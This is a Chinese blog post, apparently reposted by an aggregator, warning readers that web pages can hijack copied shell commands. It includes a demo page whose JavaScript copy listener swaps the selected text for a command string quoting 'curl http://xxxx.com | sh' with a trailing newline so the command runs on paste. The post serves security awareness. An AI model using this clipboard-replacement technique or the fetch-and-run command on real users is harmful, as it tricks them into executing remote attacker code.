还在复制粘贴网站 shell 命令?小心有毒!

Posted 亦枫Blog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了还在复制粘贴网站 shell 命令?小心有毒!相关的知识,希望对你有一定的参考价值。

我们在使用终端工具的过程中,很多人都有一个习惯,就是复制浏览器里面的 command 命令语句,直接粘贴到本地的 Terminal 工具中。

殊不知,这种看似简单的复制粘贴其实是一个很危险的操作。

javascript 提供的监听事件类 APIs 能够覆盖用户的原本操作意图,具体到复制粘贴事件,就是能够覆盖掉用户通过光标选中的文本内容,向系统剪贴板中写入新的内容。

具体到代码上,就是 addEventListener 函数,js 代码也就是类似这样写,监听用户的 copy 操作,修改写入剪贴板中的内容:

<script>document.getElementById('copyme').addEventListener('copy', function(e) 
      e.clipboardData.setData('text/plain', 'echo "this could have been [curl http://xxxx.com | sh]"\\n');
      e.preventDefault();
    );
   </script>

这是一个简单的完整例子,大家可以保存为一个 demo.html 文件,用浏览器打开操作,复制粘贴这行 echo 语句试一试(测试代码是安全的):

<!DOCTYPE html>
<html lang="en">
 <head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <title>Terminal 复制粘贴</title>
  <link href="data:," rel="icon" />
  <style>mainmargin:auto;max-width:48emprebackground-color:#d3d3d3;padding:1emcodebackground-color:#d3d3d3footerfont-style:italic;margin-top:3emhrwidth:60%h1,h2,h3,h4,h5color:#006400tableborder-collapse:collapse;border-spacing:0th,tdborder:2px solid silver;padding:4px</style>
 </head>
 <body>
   <p id="copyme" style="background-color:red;">echo &quot;looks safe to me!&quot;</p>
   <script>document.getElementById('copyme').addEventListener('copy', function(e) 
      e.clipboardData.setData('text/plain', 'echo "this could have been [curl http://xxxx.com | sh]"\\n');
      e.preventDefault();
    );
   </script>
 </body>
</html>

拿这段代码来说,用户正常使用是不知道背后的代码的,一旦发生指定 html 元素的复制操作时,写入剪贴板中的原本内容会自动被覆盖改变,粘贴到 Terminal 工具时,还会自动执行新的陌生命令。

不需要任何权限,用户甚至不需要按下 Enter 回车键,黑客的代码就自动执行了。至于会发生什么的后果,那就看黑客的代码怎么写了。

其实国内很多知名网站(CSDN、简书等)为了保护自己的版权信息,都会添加这种类似操作,监听用户的选中文本复制行为,默认在复制内容末尾跟上自己网站的网址等信息。

当然,常用正规网站复制的内容多数都是安全的。我们在访问一些小网站时,就要多加注意了,不要轻易往自己的终端工具中复制粘贴。

长按识别二维码,即可关注我


原创推荐

android getevent sendevent input 接收发送事件

禁用 testOnly 属性,解决 debug 包安装失败

解决 Adb Unavailable,尝试了一千种方案后

以上是关于还在复制粘贴网站 shell 命令?小心有毒!的主要内容,如果未能解决你的问题,请参考以下文章

无法在 MinGW shell 中复制/粘贴

linux命令:常用shell命令及应用

有些网站不能复制粘贴 该怎么办

更好的 Windows 命令行 shell [关闭]

第一章: shell命令——c语言

如何启动adb shell命令?